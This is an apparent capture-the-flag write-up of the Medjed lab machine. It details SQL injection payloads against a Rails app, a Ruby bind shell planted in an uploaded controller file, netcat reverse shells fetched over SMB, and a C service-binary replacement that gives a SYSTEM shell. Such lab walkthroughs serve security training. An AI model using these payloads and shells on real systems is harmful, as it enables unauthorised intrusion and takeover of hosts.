Writeup for Medjed from Offensive Security Proving Grounds (PG)

Information Gathering

Service Enumeration -H -t full -H -t vulns


Anonymous sessions are allowed. Recursively download the entire directory:
wget -r ftp://[email protected]:30021
Seems to be the default ruby on rails installation.


On port 3303, we find a web application with the profiles of the team. We can try to use their names as usernames to login.
There is a password reset feature.
When using username christopher, we get "The password reminder doesn't match the records", which is different from the other users - "The user does not exist".
Hence, we can confirm that christopher is a valid user.
  • SQL injection for password reminder (failed)
I then realised that the users page is on the /users path. By trying, we get an error traceback.
Now that we know that traceback is shown, we can try to go to an invalid path to see the routes available.
/users takes 4 request methods:
  • all 4 allowed request methods (failed - authentication)
There is another interesting path, /slug.
When fuzzing the input, I found that a single quote causes an error.
This showed the source code for the construction of an SQL query.
sql = "SELECT username FROM users WHERE username = '" + params[:URL].to_s + "'"
This is a classic SQL injection vulnerability. However, the difference here is that no matter whether the query evaluates to True or False, we get the same result, i.e. we don't get any feedback on the output. However, the MySQL error gets reflected, so this is an error-based injection.


Option 1 - Time Based Boolean Blind

SELECT username FROM users WHERE username = '' UNION SELECT IF(1=1, SLEEP(5), null)-- -,%20SLEEP(5),%20null)--%20-
The IF conditional will make the server sleep for 5 seconds if the condition is True, or respond immediately otherwise.

Option 2 - Error Based

If we do something like
SELECT username FROM users WHERE username = '' AND 1= (SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT username FROM users LIMIT 0,1),FLOOR(rand(0)*2))x FROM information_schema.TABLES GROUP BY x)a)-- -
The SELECT username FROM users LIMIT 0,1 output gets reflected in the MySQL error.*),concat(0x3a,(SELECT%20username%20FROM%users%20LIMIT%200,1),FLOOR(rand(0)*2))x%20FROM%20information_schema.TABLES%20GROUP%20BY%20x)a)--%20-
In this case, we can see that evren.eagan is the first username.
Replacing the inner query with SELECT reminder FROM USERS LIMIT 0,1, we see the reminder, 4qpdR87QYjRbog.
With this, we can go back to the password reset page and successfully reset the password.
Now that we login to a valid user, we gain access to the edit feature.

Web File Server (WFS)

There is another HTTPS service running at 44330. Here, we can upload arbitrary files.
We can then upload a modified version of the users_controller.rb, which handles HTTP requests related to the /user path.
I edited the PATCH/PUT handler to include this bind shell payload:
class UsersController < ApplicationController
include BCrypt
before_action :authorize, only: [:new, :create, :edit, :update, :destroy]
before_action :set_user, only: [:show, :edit, :update, :destroy]
# PATCH/PUT /users/1
# PATCH/PUT /users/1.json
def update
require 'socket'
require 'open3'
#The number over loop is the port number the shell listens on.
Socket.tcp_server_loop(5555) do |sock, client_addrinfo|
while command = sock.gets
Open3.popen2e("#{command}") do | stdin, stdout_and_stderr |
IO.copy_stream(stdout_and_stderr, sock)
break if command =~ /IQuit!/
sock.write "Command or file not found.\n"
sock.write "Type IQuit! to kill the shell forever on the server.\n"
sock.write "Use ^] or ctl+C (telnet or nc) to exit and keep it open.\n"
After uploading the modified users_controller.rb and submitting the "Update User" form, we can then connect to the bind shell.
To get a more stable and interactive shell, we can transfer nc.exe and run it.
Copy netcat over SMB: copy \\\ROPNOP\nc.exe .
Create another reverse shell: nc -e cmd.exe 139

Privilege Escalation

In the WinPEAS output, we find an interesting AutoRun executable, bdctl.exe. This is an executable from the BarracudaDrive program.
Looking in the C:\bd directory, we find a readme.txt which shows the changelog.
It appears that the version of BarracudaDrive is 6.5, since the changelog stops there.
This version is vulnerable to a local privesc vulnerability:
Create addAdmin.c:
#include <windows.h>
#include <winbase.h>
int main(void){
system("C:\\Sites\\userpro\\nc.exe 139 -e cmd.exe");
WinExec("C:\\bd\\bd.service.exe", 0);
return 0;
On reboot, this will spawn a new reverse shell as SYSTEM.
Cross-compile for Windows: i686-w64-mingw32-gcc addAdmin.c -o bd.exe
Move the existing bd.exe: move bd.exe bd.service.exe
Copy the new malicious bd.exe: copy \\\ROPNOP\bd.exe .
Now restart the system: shutdown /r. We should be able to catch a shell as SYSTEM:
Last modified 1yr ago